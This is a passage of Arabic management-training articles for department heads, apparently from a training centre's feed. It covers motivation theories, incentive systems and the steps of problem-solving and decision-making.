3- نظرا لأن دافع الإنجاز من الدوافع المتعلمة ، وبالتالي يمكن لإدارة المنظمة الاستفادة من ذلك في تصميم مجموعة من البرامج التدريبية التي يمكن من خلالها رفع الإنجاز لدى الأفراد

4- نظرية التوقع لفيكتور فروم :

تقوم هذه النظرية على أن دافعية الفرد لأداء عمل معين تتوقف على حجم العوائد التي سيحصل عليها ، وشعوره واعتقاده بإمكانية الوصول إلى هذه العوائد .

والأساس الذي تقوم عليه نظرية التوقع هو العلاقة المدركة بين الجهد والأداء والحافز المستلم مقابل هذا الأداء .

 ويمكن ترجمة النظرية السابقة في المعادلة التالية :

أداء الفرد  =  القوة الدافعة  ×  القدرة على العمل .

 

والسؤال الذي يطرح نفسه في كثير من الأحيان هو : لماذا لا ينجح بعض الأفراد أحيانا في تحديد توقعاتهم بدقة ؟ وللإجابة عن هذا السؤال نذكر فيما يلي عددا من العوامل التي تساهم بشكل أو بآخر في هذا الأمر :

1- الغموض وعدم التحديد : فقد يلجأ بعض الأفراد إلى وضع توقعاتهم بحيث تتسم بعدم الوضوح وعدم التحديد ، الأمر الذي يترتب عليه في أغلب الأحيان إلى فشل هؤلاء الأفراد في اختيار أفضل الطرق لإشباع حاجاتهم .

2- الواقعية في الأهداف : فقد يضع الفرد توقعات على درجة عالية من التفاؤل إلى الحد الذي يجعلها قد لا تتحقق ، مما قد يؤدى إلى إصابة الفرد بخيبة أمل كبيرة ، لذلك لضمان تحقيق الأفراد لتوقعاتهم وإشباع رغباتهم يجب أن تتسم توقعاتهم وأهدافهم بالواقعية .

3- مشروعية التوقع : يجب أن يكون توقعات الأفراد متفقة مع ما هو سائد في كل من بيئة العمل والبيئة الخارجية المحيطة حتى يمكن تحقيقها . فالتوقعات التي تخالف أنظمة العمل وعادات المجتمع وتقاليده مصيرها الفشل .

4- القيود الإدارية : في بعض الأحيان تسود المنظمة بعض الظروف التي تعوق الفرد في تحقيق توقعاته ، خاصة إذا حدثت ظروف طارئة نتيجة التغيرات المستمرة في البيئة المحيطة الأمر الذي يؤدى إلى إعاقة تحقيق الكثير من توقعات الأفراد .

5- الخبرات الذاتية للفرد : حيث أن تجارب الفرد وخبراته السابقة تؤدى دورا كبيرا في نجاح أي توقع ، فالفرد الذي لديه خبرات سابقة تتعلق بمواقف شبيهه تمكنه من وضع توقعاته على أساس من الواقع العملي ، وبالتالي نضمن نجاحها وتحقيقها .

 

الاستفادة من نظرية التوقع لفروم في التطبيق الإداري

     يمكن للإدارة من خلال الإلمام بالمبادئ الأساسية التي تقوم عليها نظرية التوقع لفروم والاستفادة منها والقيام بتطبيقها التأثير على سلوك العاملين وتوجيهه الوجهة التي تتفق ومصلحة المنظمة . فمن خلال تبنى المنظمة لسياسات إدارية فعلية تتضمن الربط بين الأداء الذي يحققه العامل ومزيج العوائد التي يتحصل عليها ، وقيام الإدارة بمستوياتها المختلفة – إدارة عليا ، إدارة وسطى ، إدارة مباشرة – بتوضيح هذه العلاقة للعاملين والتأكيد على أن توقعاتهم المتعلقة بأن مضعافة مجهوداتهم وتحقيق الأداء المتميز هو الوسيلة للحصول على العوائد والحوافز المتعددة . يمكن أن يؤدى ذلك في النهاية إلى نتائج فعالة لكافة الأطراف ذات المصلحة . كما أن نظرية التوقع توفر للمديرين إطارا لتوضيح اتجاه سلوك العاملين والتركيز على مؤثرات تنظيمية معينة يمكن أن يكون لها أثر على سلوكهم .

 

5- نظرية العدالة لادمز :

يرى أنصار هذه النظرية بأن شعور الفرد بعدم العدالة يأتي عندما يحس بأن مزيج العوائد من الوظيفة التي يشغلها إلى مدخلات الوظيفة لا يتعادلان مقارنة مع عواد ومدخلات الوظيفة لشخص مرجعي . وهذا الشخص المرجعي قد يكون أحد أفراد الجماعة التي ينتمي إليها هذا الشخص ويقوم بنفس الوظيفة أو وظيفة مشابهة ، أو قد يكون عضوا في جماعة أخرى داخل المنظمة أو من خارج المنظمة .

 

6- نظرية الهدف لادوين لوك :

     يرى أنصار هذه النظرية – منهم إدوين لوك Edwin Lock  وهو من أشهر رواد هذه النظرية – أن وجود الأهداف يحتمل وبنسبة كبيرة أن يكون دافعا للفرد لتحقيقها ، حيث أن الأهداف تعتبر شيئا أساسيا لتحديد أنماط السلوك .

     ويمكن من خلال الاتفاق بين الإدارة والعاملين على أهداف محددة يقوموا بتحقيقها خلق الدافع لدى الأفراد لأداء العمل المرغوب ، وذلك بشرط أن يترتب على تحقيق تلك الأهداف تحقق منافع ليس للإدارة فقط ولكن أيضا للعاملين .

وتتمثل المراحل الخمس الرئيسية التي تقوم عليها نظرية الهدف فيما يلي :

1- تحديد النتائج الكلية أو الأهداف التي تسعى المنظمة إلى تحقيقها سواء كانت تلك النتائج سلع أو خدمات أو أفكار أو حجم معين من الأرباح . وكذلك تحديد مقدار الحوافز المرتبطة بتحقيق تلك الأهداف .

2- مشاركة العاملين في تحديد النتائج أو الأهداف التي تسعى المنظمة إلى تحقيقها .

 3- ضرورة التأكد من أن تتسم الأهداف بخصائص معينة مثل : الدقة ، الوضوح ، توافر درجة معينة من الصعوبة والتحدي ، توافر قدر من التنافس بين الزملاء ، والتغذية المرتدة .

4- ضرورة قبول الأفراد العاملين في المنظمة تلك الأهداف والالتزام بها ، وإصرارهم على أداء كافة الأعمال التي تمكن من تحقيقها .

5- تقييم النتائج للتأكد من تحقيق الأهداف التي تم تحديدها مسبقا سواء بالنسبة للمنظمة – من خلال مقارنة المحقق بالمخطط – ، أو بالنسبة للعاملين – من خلال معرفة درجة رضائهم عن العمل بالمنظمة – .

 

الحوافز البيئية: 

-النتائج الكلية المتوقعة .

– الحوافز المتوفرة 

  لتحقيق الأهداف
المشاركة في تحديد الأهداف :

-أهداف بالمشاركة

– أهداف مخصصة 

-افعل ما في وسعك

 
خصائص تحديد الأهداف :-الوضوح

– الصعوبة

-التحدي  – التنافس

– التغذية المرتدة
مقصد تحديد

الأهداف :

– القبول

– الالتزام

 

 

 

شكل يوضح الخطوات أو المراحل الرئيسية التي تقوم عليها نظرية الهدف .

أنواع نظم الحوافز :

==========

حوافز على مستوى الفرد:

  • حوافز بالقطعة .
  • حوافز بالوقت النمطي .
  • العمولة .
  • العلاوة(كفاءة،أقدمية،استثنائية)
  • المكافأة (بناءاً على أداء المنظمة ،أو أداء الإدارة التى يشرف عليها ) .

حوافز على مستوى جماعة العمل :

  نفس الحوافز السابقة .

 

حوافز على مستوى المنظمة :

  • المشاركة في الأرباح .
  • خطط توفير التكاليف .
  • ملكية العاملين لأسهم الشركة .

 

أهم الشروط الواجب توافرها في نظام الحوافز الفعال :

 

  • البساطة : بمعنى أن يكون مختصر وواضح ، ومفهوم
  • التحديد .
  • يمكن تحقيقه .
  • بمكن قياسه .
  • وجود معايير للأداء .
  • ربط الحافز بالأداء .
  • التفاوت .
  • العدالة .
  • التغطية الكاملة للأداء .
  • مشاركة العاملين في وضع النظام .
  • العلانية .
  • مساندة الإدارة العليا .
  • تدريب المشرفين على كيفية تطبيق النظام والرد على أى إستفسارات .
  • وجود نظام سليم لتسجيل مستويات الأداء
  • التنويع : أن تكون الحوافز مختلفة في نوعاها ( مادية ، معنوية ، خطابات شكر، رحلات ، حفلات ، … ) .
  • أن يشمل كل العاملين فى الشركة .

*   *   *

انتهت بحمد الله المقالة السابعة من مسار كيم التعليمى للمهارات الإدارية لرؤساء الأقسام

إعداد / مركز كيم

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة السابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-7/feed/ 0 سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة السادسة https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-6/ https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-6/#respond Fri, 07 Apr 2023 14:35:33 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10414 سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام إعداد/ مركز كيم  المقالة السادسة دور رئيس القسم في تحليل وحل المشكلات   خطوات صناعة القرار وحل المشكلات ======================= تتمثل أهم المراحل أو الخطوات الرئيسية والخاصة بتحديد وتحليل المشكلات  واتخاذ القرار المناسب بشأنها فيما يلي  : تحديد المشكلة وتحليلها . البحث عن البدائل لحل المشكلة . 3-     تقييم […]

The post سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة السادسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام

إعداد/ مركز كيم 

المقالة السادسة

دور رئيس القسم في تحليل وحل المشكلات

 

خطوات صناعة القرار وحل المشكلات

=======================

تتمثل أهم المراحل أو الخطوات الرئيسية والخاصة بتحديد وتحليل المشكلات  واتخاذ القرار المناسب بشأنها فيما يلي  :

  • تحديد المشكلة وتحليلها .
  • البحث عن البدائل لحل المشكلة .

3-     تقييم البدائل .

4-     اختيار أفضل البدائل لحل المشكلة .

5-     وضع القرار موضع التنفيذ ومتابعته

6-     تقييم النتائج المترتبة على القرار .

 

1- تحديد المشكلة .

        يمكن تعريف المشكلة بأنها خروج عن المألوف لسبب ما أو أكثر . وتبدأ أولى خطوات اتخاذ أي قرار بتحديد المشكلة موضوع القرار ، فبدون وجود مشكلة ما لن يكون هناك أي داعي لاتخاذ قرار معين طالما أن الأمور سهلة وميسرة وتسير في الاتجاه الصحيح نحو تحقيق الأهداف المخططة . 

     ويمكن تعريف المشكلة بأنها عبارة عن عائق يعوق الوصول إلى هدف معين ، فوجود مشكلة ما تواجه إدارة المنظمة قد تؤدى إلى صعوبة تحقيق الأهداف أو ربما استحالة تحقيقها . وتجدر الإشارة هنا إلى أن هناك فرق جوهري بين مفهوم كل من المشكلة والظاهرة : فالمشكلة تعتبر بمثابة عائق يجعل عملية تحقيق الأهداف صعبة أو مستحيلة ، أما الظاهرة فهي عرض لوجود مشكلة ما . فعلى سبيل المثال فإن انخفاض كمية الإنتاج الخاصة بمنظمة ما تعتبر ظاهرة ، أما المشكلة فقد تتمثل في تعطل الآلات ، أو نقص المواد الخام اللازمة للعملية الإنتاجية ، أو إضراب العمال عن العمل ..علما بأن أي مشكلة من المشاكل السابقة قد يكون ظاهرة لمشكلة أو مشاكل أخرى تعاني منها المنظمة .ويؤدى التحديد السليم والدقيق للمشكلة بالمعنى المتقدم إلى إتاحة الفرصة لمتخذي القرارات  لتناول مدى أوسع من البدائل الخاصة بالحل ولا يقيد حريته في ذلك . بمعنى أنه يتم الأخذ في الاعتبار جميع الحلول التي تمكن من تخطى العائق ، كما أن التحديد السليم للمشكلة يساعد أيضا في تقيم مدى جدوى كل بديل في الوصول إلى الهدف الذي أعيق بوجود المشكلة .

   ويمكن تقسيم المشاكل التي يواجهها الأفراد في التنظيم إلى نوعين من المشاكل هما :-

1/1 مشاكل التقييم .

        يمكن القول أن كل أنواع القرارات تتطلب نوعا ما من التقييم . ومن الناحية النظرية فإن متخذ القرار يقوم بتقييم جدوى كل حل من الحلول البديلة قبل أن يقرر ما يفعله . هذا وإن كان الواقع العملي يشير إلى أن المدير في كثير من الأحيان يهمل تماما عملية التقييم . من ناحية أخرى فإن هناك مجموعة من القرارات التي يمكن وصفها بأنها قرارات تتعلق بالتقييم وعلى سبيل المثال فإن عمليات تقييم الأداء والبرامج تتطلب أساسا قرارات تقييم . فالمدير عليه تقرير قيمة أداء الموظف باستخدام مجموعة من معايير التقييم ، ثم يقرر ما إذا كان هذا الأداء طبقا لمعدله الحالي مرضيا أم لا . أيضا فإن قرارات تقييم الأداء تعتبر أساسية في اختيار الشخص لوظيفة معينة ، الترقية والأجور والحوافز وكلها جوانب أساسية ترتبط بمدى دقة قرار التقييم .

     وفي تقييم البرامج  : يقوم المدير بتقييم جدوى برنامج معين أو أنشطة معينة مستخدما مجموعة من المعايير المرتبطة بالأهداف المطلوب تحقيقها . وعلى سبيل المثال فقد يرغب المدير في تقييم جدوى العمل لمدة أربعة أيام أسبوعيا مقابل البرنامج الحالي وهو العمل لمدة ستة أيام في الأسبوع .

     وفي عمليات التقييم ، فإن القرارات يتم اتخاذها – كصورة مثالية – بناء على الحكم الدقيق للمدير وباستخدام معايير مشتقة من الأهداف المطلوب الوصول إليها . غير أن الواقع الفعلي يشير إلى أنه في بعض الأحيان عندما تكون المعايير غير واضحة أو غامضة ، فإن عملية التقييم تتأثر بشدة .

 

1/2 مشاكل التخصيص .   

     عندما يقوم المدير باتخاذ قرار معين فغالبا ما تكون إحدى عينيه في نفس الوقت متجهة إلى معرفة مدى كفاية الموارد اللازمة لتنفيذ هذا القرار . ويمكننا القول أنه إذا أتيح لنا أن نعيش في مجتمع ذو موارد غير محدودة ولا تنفذ فلا داعي عندئذ لاتخاذ القرارات ، فكل فرد يرغب في شيء ما عليه إلا الحصول عليه والاستمتاع به . ولكننا نعيش في مجتمع موارده محدودة مقارنة بالاستخدامات اللانهائية الممكنة لهذه الموارد . ومن ثم كان علينا كأفراد وكمديرين في التنظيم أن نضع معايير معينة لاستخدام هذه الموارد ، أو اتخاذ قرارات تتعلق بمشاكل تخصيص الموارد .

     ويجب الإشارة هنا أن على المديرين أن يدركوا أن المشكلات لا تأتى طواعية وتقدم نفسها لمتخذي القرارات ، وإنما عليهم أن يوظفوا من الأساليب والوسائل ما يمكنهم من البحث عن المشاكل ، ويتطلب ذلك ضرورة الملاحظة والمراقبة المستمرة للأنشطة ومقارنة الأداء الفعلي بالمعايير النمطية المتعارف عليها أو بالأهداف المطلوب تحقيقها ، وتظهر إشارة التحذير بوجود مشكلة ما عند وجود تباين بين الأداء الفعلي والأهداف المخططة ، فعلى سبيل المثال فإن انخفاض كمية الإنتاج الشهرية 30% عن المستهدف يمثل إنذاراً بوجود مشكلة تتطلب حل ومن ثم اتخاذ قرار .

          ويعتبر تحديد المشكلة أهم مرحلة من مراحل حلها ، لأنه يحدد الإجراء المطلوب تنفيذه بدقة ، وإذا حدث خطأ في عملية تحديد المشكلة فإنه ينتج عن ذلك

  • استمرار المشكلة وتفاقمها .
  • حدوث خطأ أو أخطاء أخرى بسبب الإجراء الخاطئ .

     ومتى تم تحديد المشكلة الحقيقية تحديدا دقيقا فإن الأمر يتطلب تحليلها من الجوانب التالية :

  • تحديد مدى تأثيرها في مستبقل المنظمة ، بمعنى هل سيقتصر أثر المشكلة على المستقبل القريب ، أم المستقبل البعيد ؟ .
  • تحديد أثر المشكلة على المجالات أو الوظائف الأخرى في المشروع ، وهذا يساعد على إجبار متخذ القرار في رؤية مشاكل إدارته في داخل الإطار الكلى للمشروع .
  • تحديد العوامل النوعية المؤثرة في المشكلة والتي يجب أن تؤخذ في الاعتبار عند اتخاذ القرار ، مثل القيم والمعتقدات والاتجاهات والدوافع وغيرها من النواحي الإنسانية .
  • مدى تكرار المشكلة .. بمعنى هل تتكرر المشكلة بصفة دورية ؟ أم نادرة الحدوث ؟ أم فريدة في نوعها

  

ويساعد تحليل المشكلة من الجوانب السابقة في تحديد ما يأتي   :

  • أنسب المعلومات اللازمة لحل المشكلة ، ومصدر الحصول عليها ، وتوقيتها
  • تحديد من سيتخذ القرار بخصوص المشكلة .
  • تحديد من الذي يجب استشارته في إعداد القرار .
  • تحديد من سيقوم بتنفيذ القرار .

 

 

 

2–  البحث عن البدائل لحل المشكلة .

     بعد قيام المدير أو الشخص صانع القرار بتحديد وتحليل المشكلة التي يواجهها فإنه يتجه إلى تحديد جميع الاختيارات أو البدائل الممكنة لحل تلك المشكلة . وفي الواقع العملي فإنه يكون من الصعب بل ربما من المستحيل تحديد جميع البدائل الخاصة بحل مشكلة معينة نظراً لأن ذلك في الغالب ما يحتاج إلى قدر غير محدد من الزمن والموارد والإمكانيات وإسهامات الأفراد المعنية بالمشكلة –بالإضافة إلى الحاجة أيضا إلى قدر غير محدد من المعرفة .

     ويجب الأخذ في الاعتبار أن أي بديل من البدائل التي يتم تنميتها يعتبر بمثابة قرار مقترح ضمن مجموعة قرارات أخرى مقترحة بقصد المقارنة والتحليل حتى يتم اختيار واحد منها لكي يصبح القرار الأخير .

 

   وعليه فإنه يجب توافر شرطان في أي بديل يتم اقتراحه لحل المشكلة هي :

  • أن يساهم هذا البديل بشكل أو بآخر في حل المشكلة وتحقيق أهداف متخذ القرار .
  • أنه يمكن تطبيق هذا البديل في الواقع العملي إذا ما تم اختياره دون البدائل الأخرى .

   ومن الأساليب الحديثة التي يمكن الاستعانة بها للتوصل إلى أكبر عدد ممكن من البدائل أمام متخذ القرار ما يلي :

  • الفريق متنوع الخلفية Interdisciplinary Team                  

     وفكرة هذا الأسلوب تقوم على تكليف مجموعة من الأفراد ممن لديهم خلفيات متنوعة عن المشكلة محل الدراسة بتقديم مقترحاتهم بشأن البدائل التي يرون أنها مناسبة لحل تلك المشكلة .

  • جلسة الفكر الإبتكاري    Brainstorming  Session                 

        وتقوم فكرة هذا الأسلوب على قيام الفريق المكلف بدراسة المشكلة بعقد عدة اجتماعات ، ويقوم رئيس الفريق بحث الأعضاء وإثارة حماسهم لتوليد أكبر عدد من الأفكار – بدائل مقترحة لحل المشكلة في أقل وقت ممكن .

      كما يجب الأخذ في الاعتبار عند اقتراح وتحديد الحلول البديلة ( بدائل الحل) الظروف البيئية التي تحيط بالمنظمة سواء كانت تلك الظروف من داخل المنظمة أو من خارجها . فقد يكون من ضمن البدائل المطروحة لحل مشكلة مالية معينة تمر بها المنظمة الاستغناء عن بعض العاملين ، ولكن هذا البديل قد يثبت أنه في الغالب ما يؤدى إلى نتائج سلبية أكثر من نتائجه الإيجابية وبالتالي يتم استبعاده من قائمة الحلول البديلة المقترحة للمشكلة محل الدراسة ، وأيضا قد يكون من ضمن البدائل المطروحة لحل تلك الأزمة المالية الاتجار في سلع محرمة أو دفع رشوة وهنا نجد أن تلك البدائل تتعارض مع أخلاقيات وقوانين المجتمع الذي توجد به المنظمة فضلا عن مخالفتها لمبادئ الشريعة الإسلامية .

          إن مرحلة البحث عن البدائل لحل المشكلة محل الدراسة تعتبر من المراحل الصعبة والدقيقة كما أن هناك الكثير من العقبات والصعوبات التي تواجه متخذ القرار في ابتكار الحلول لتلك المشكلة ، وأن هذه العقبات قد تكون نابعة من القيود المفروضة على متخذ القرار والتي قد تحد من سلطته في ابتكار الحلول ، وقد تكون عقبات مادية نابعة من عدم توفر الأجهزة والمعدات والأموال اللازمة لذلك .

3–  تقييم البدائل .

        بعد قيام الشخص المسئول عن إعداد القرار بحصر البدائل المحتملة لحل المشكلة محل الدراسة فإن الخطوة أو المرحلة التالية تتمثل في إجراء تقييم شامل لتلك البدائل من حيث قدرة كل بديل على تحيق مركب الأهداف التي يسعى متخذ القرار لتحقيقها وأيضا من حيث مزايا وعيوب كل بديل أو العائد والتكلفة .

وتكمن صعوبة هذه المرحلة في أن عملية المفاضلة بين البدائل ليست عملية سهلة فمزايا وعيوب كل بديل لا تظهر بشكل واضح إلا أثناء التنفيذ الفعلي المستقبلي لهذا البديل ومن هنا يأتي الشك وعدم التأكد من صلاحية كل بديل من البدائل المقترحة لحل المشكلة ، كما تكمن صعوبة تلك المرحلة أيضا فيما تتضمن بدائل الحل من عوامل غير ملموسة يصعب وضع معايير دقيقة لقياسها ، هذا بالإضافة إلى ضيق الوقت المتاح أمام متخذ القرار لاكتشاف النتائج المتوقعة لكل بديل من البدائل المقترحة . 

 

معايير تقييم البدائل المتاحة :

     توجد مجموعة من المعايير التي يمكن الاستعانة بها في تقييم البدائل المقترحة وتتمثل أهم تلك المعايير فيما يلي  :

  • إمكانية تنفيذ البديل ومدى توافر الموارد المادية والبشرية والطبيعية اللازمة له . وهنا تبدو واضحة أهمية استبعاد البدائل التي تكون إمكانية تنفيذها صعبة أو مستحيلة بسبب تعارضها مع أهداف المنظمة أو مع أخلاقيات المجتمع أو لعدم توفر الإمكانيات المختلفة لتنفيذ الحل المقترح .
  • تكاليف تنفيذ البديل ، والتي يمكن تقديرها من خلال الموازنة بين المكاسب التي يتوقع تحقيقها من تنفيذ البديل والخسائر التي قد تترتب عليه . . ويمكن الاستعانة في مجال الموازنة هنا بين التكاليف والعوائد بالمعايير الاقتصادية والمالية المتعلقة بالربحية والعائد والتكاليف ومعدل الفائدة وأثره على المبيعات . وتلعب المحاسبة الإدارية دوراً هاماً في هذا المجال من خلال البيانات التي توجه اهتمام متخذي القرارات إلى معرفة نواحي القصور وعدم الكفاءة وتساعدهم في توضيح المزايا النسبية المختلفة والمتنوعة مع التوصية بأفضلها .
  • آثار تنفيذ البديل على المنظمة – على الأقسام والإدارات ، والوظائف  والأداء – أو على المنظمات الأخرى ، بل على المجتمع ككل .. وهذا يختلف باختلاف طبيعة المشكلة وأهميتها ، وما إذا كان القرار تقليديا أم استراتيجيا  يمس منظمات أخرى أو يمس المجتمع بأكمله .فالبدائل المطروحة لملء وظيفة شاغرة مثلا تختلف عن البدائل الخاصة بطرح سلعة جديدة ، وهذه تختلف بدورها عن البدائل المطروحة للتنمية في الدول النامية والتي تمس المجتمع بكافة قطاعاته .

      ومما يجدر التنبه إليه هنا أنه قد تبدو آثار البديل المباشرة إيجابية من حيث اتفاقها مع أهداف المنظمة ، ولكنها في حقيقتها تؤدى إلى آثار ومضاعفات سلبية على العاملين وعلى أهداف المنظمة ..فآثار البديل الخاص بإلغاء الأجور الإضافية مثلا يؤدى إلى تخفيض المصروفات ، ولكنه من الناحية الأخرى يؤثر في نفسية العاملين الذين يعتمدون في شئونهم المعيشية على المرتب الأساسي مضافا إليه الأجر الإضافي .

  • الآثار الإنسانية والاجتماعية للبديل وانعكاساته على الأفراد والجماعات ، ومدى قوة العلاقات التي يمسها . فقد تكون للبديل أثار على العلاقات الإنسانية داخل المنظمة ، أو على الروح المعنوية للمرؤوسين .. كما قد تنعكس آثاره على العلاقات الاجتماعية خارج المنظمة فيمس النقابات أو الاتحادات وغيرها .
  • مناسبة الوقت والظروف للأخذ بالبديل .. فقد لا تسمح الظروف الطارئة التي تتطلب مواجهة عاجلة لمتخذ القرار بإجراء الدراسة المتعمقة والضرورية للحلول البديلة ، مما يضطره إلى اختيار أحد الحلول المتاحة واتخاذ قرار فوري وعاجل تحت ضغط هذه الظروف ، وهو ما يسمى بالقرار تحت الضغط (Under  Pressure  decision )  .. وفي مثل هذه المواقف يتوخى متخذ القرار اختيار أحسن الممكن في ظل الظروف والمؤثرات التي تسيطر على الموقف .
  • مدى استجابة المرؤوسين وتقبلهم للبديل .. وهذا عنصر هام يجب أخذه في  الاعتبار عند تقييم البدائل وذلك لما للمرؤوسين من أثر في تنفيذ هذا البديل .. ذلك لأن عدم استجابة المرؤوسين للبديل أو معارضتهم له يخلق عقبات تحول دون تنفيذه ، ويضيع كل الجهود التي بذلت في المراحل التي سبقت تنفيذه . ومن هنا تبدو أهمية إشراكهم في المناقشة والتقييم وإبداء الآراء التي تضع أمام متخذ القرار تصوراً لما سيكون عليه الحل مستقبلا بالنسبة للمرؤوسين ..
  • الزمن الذي يستغرقه تنفيذ البديل ، وهذا يتوقف على طبيعة المشكلة ونوعها .. ومن الأمور الهامة أن يتم تنفيذ البديل خلال وقت محدد حتى لا يضيع الوقت ويصدر القرار بعد مدة ويضيع الهدف .. كما أن هناك بعض المشاكل التي يعتبر الوقت عنصراً هاماً في تنفيذ البديل لحلها وخاصة في المشاكل العاجلة أو الطارئة .

 

4– اختيار أفضل البدائل لحل المشكلة .

    وتعتبر مرحلة المفاضلة بين البدائل واتخاذ قرار بالبديل الأفضل من أصعب مراحل صنع واتخاذ القرارات وترجع تلك الصعوبة إلى ما يلي :

  • أن على متخذ القرار أن يقوم بإجراء مقارنة شاملة ودقيقة بين العوائد والتكاليف المترتبة على كل بديل وقد يكون من الصعب إتمام ذلك نظرا لقلة أو ندرة المعلومات المتوفرة .
  • أن عملية المفاضلة بين البدائل تتأثر بالعديد من العوامل المتعددة والمتداخلة في نفس الوقت ، وهذه العوامل منها ما يرجع إلى خبرة متخذ القرار ودوافعه ومشاعره ورغباته ، ومنها ما يرجع إلى طبيعة الموقف الذي يتم اتخاذ القرار بشأنه .
  • تزداد صعوبة وتعقد عملية المفاضلة بين البدائل واختيار البديل الأفضل كلما زادت احتمالات عدم التأكد بما سيكون عليه الحال عند تطبيق البديل . 

 

 المعايير التي تحكم اختيار البديل الأمثل .

          توجد مجموعة من المعايير التي يمكن لمتخذ القرار أن يسترشد بها عند المفاضلة بين البدائل واختيار البديل الأمثل أهمها ما يلي :

  • مدى توافر الموارد والإمكانيات المادية اللازمة لتنفيذ البديل
  • درجة المخاطرة المتوقعة من اختيار البديل ، أي معرفة درجة احتمال عدم تحقيق البديل للأهداف المرجوة من تطبيقه ..وهذا يتطلب من متخذ القرار أن يقوم بالموازنة بين المخاطر الناجمة عن اتباع البديل وبين المكاسب أو الفوائد التي يحققها اتباعه ….
  • الاقتصاد في الجهد والنفقات : وذلك يعنى أن يفضل البديل الذي يعطى أفضل النتائج بأقل كلفه وجهد ممكن ..
  • الوقت الذي يستغرقه اختيار البديل وتنفيذه ، إذ لابد من ارتباط الحل البديل بالوقت المناسب ، بمعنى أن يعالج الحل المختار المشكلة في إطارها الحالي وليس بعد حدوث المشكلة
  • آثار البديل وما سوف يثيره تنفيذه من مشاكل : ويجب الأخذ في الاعتبار أيضا أنه قد يكون للبديل آثار تنعكس على الإدارات أو الأقسام أو الوظائف الأخرى داخل المنظمة .. وقد تكون هذه الآثار مرغوبا فيها كما قد تكون غير مرغوب فيها ، وقد تكون حالية ومستقبلية ، وقد تكون ملموسة وغير ملموسة ، وقد تكون مؤكدة ومحتملة .. كما يجب الأخذ في الاعتبار أيضا آثار البديل على القرارات السابقة .. فمثلا عند النظر في طلب مقدم من أحد الموظفين بنقله يجب أن يؤخذ في الاعتبار القرارات التي سبق بها رفض طلبات بالنقل مقدمة من موظفين آخرين .. كما يجب الأخذ في الاعتبار المشاكل التي يمكن أن يثيرها تنفيذ البديل وسبل علاجها وما يتطلبه هذا العلاج من جهد ووقت ونفقات .. وقد تكون هذه المشاكل التي يثيرها تنفيذ البديل ذات أبعاد نفسية أو مادية ..
  • الأهداف التي يحققها البديل : وأمام تعدد الأهداف وتفاوتها في درجة الأهمية ، على متخذ القرار أن يراعى اختيار البديل الذي يحقق أهم هذه الأهداف أو أكثرها مساهمة في تحقيق الأهداف الكلية أو الشاملة للمنظمة ، وليست تلك الأهداف الهامة بالنسبة لقسم أو إدارة وليست هامة بالنسبة للمنظمة ككل ..
  • الاعتبارات والعوامل المرتبطة بالموقف الإداري : وهنا لابد أن يؤخذ في الاعتبار جميع القوى والاعتبارات التي تؤثر في الموقف الإداري المحيط بالمشكلة محل القرار ..وهذه العوامل والقوى قد تكون كامنة في المدير متخذ القرار : كقدرته على تقييم المشكلة ، وميوله واتجاهاته ، ومدى ثقته بنفسه وبمرءوسيه .. وقد تكون كامنة في المرؤوسين كاستعدادهم لتحمل مسئولية تنفيذ القرار ، ومدى إحساسهم بأهمية المشكلة التي تواجه المدير ومشاركتهم في حلها ، ودرجة ارتباطهم بأهداف المنظمة وفهمهم لهذه الأهداف .. وقد تكون هذه القوى كامنة في الموقف الإداري نفسه : كنمط المنظمة وفلسفتها وسياساتها ، ودرجة إحساس العاملين بها بالطمأنينة ، والضغوط الداخلية والخارجية التي يتعرضون لها .. يضاف إلى كل ذلك الظروف البيئية وما يرتبط بها من عوامل اقتصادية وسياسية واجتماعية ..

 

 

5-  وضع القرار موضع التنفيذ ومتابعته .

 

في هذه المرحلة يجب على متخذ القرار أن يجتمع بالأفراد الذين سيقومون بالتنفيذ ويشرح لهم أبعاد القرار ويقنعهم به ويدفعهم إلى تنفيذه بالشكل الذي يحقق الهدف المطلوب .

     ومع أن مراحل عملية اتخاذ القرار تنتهي عمليا يوضع القرار موضع التنفيذ إلا أن تلك المرحلة لا تعتبر المرحلة الأخيرة حيث لا بد من متابعة تنفيذ القرار.. والمقصود بالمتابعة – في مجال تنفيذ القرار – التحقق من أن تنفيذ القرار يتم وفقا لمقررات الخطة المرسومة ، وفي حدود التعليمات والقواعد الموضوعة وذلك بقصد اكتشاف الأخطاء وتصحيحها وتفادى تكرارها ..

    

ويترتب على متابعة تنفيذ القرار مزايا عدة أهمها :

– أن المتابعة المستمرة لخطوات تنفيذ القرار تمكن من اكتشاف الصعوبات والمشكلات والمعوقات التي يقابلها التنفيذ والعمل على حلها مبكرا أو الحد منها بقدر الإمكان .. وهذا يسمح لمتخذ القرار بتلافي الصعوبات والمعوقات عند اتخاذ القرارات في المستقبل .. وغالبا ما تكون الصعوبات أو المعوقات التي يقابلها التنفيذ إنسانية تتمثل في معارضة العاملين المباشرة أو غير المباشرة لتنفيذ القرار . فقد تكون هذه المعارضة مباشرة وعلنية كالتوقف الكلي أو الجزئي عن العمل أو عدم تنفيذ مضمون القرار ، وتعتمد على وضع العوائق في طريق التنفيذ ، أو الاحتكاك بين المدير متخذ القرار وزملائه أو مرءوسيه إلى غير ذلك . كما قد تكون هذه المعارضة غير مباشرة ، كعدم استجابة المرؤوسين أو تقبلهم للقرار ، واتخاذ موقف اللامبالاة أو عدم الحماس نحو تنفيذه ، أو التظاهر بقبول القرار أو العمل على تنفيذه ويكون الواقع على غير ذلك إذ 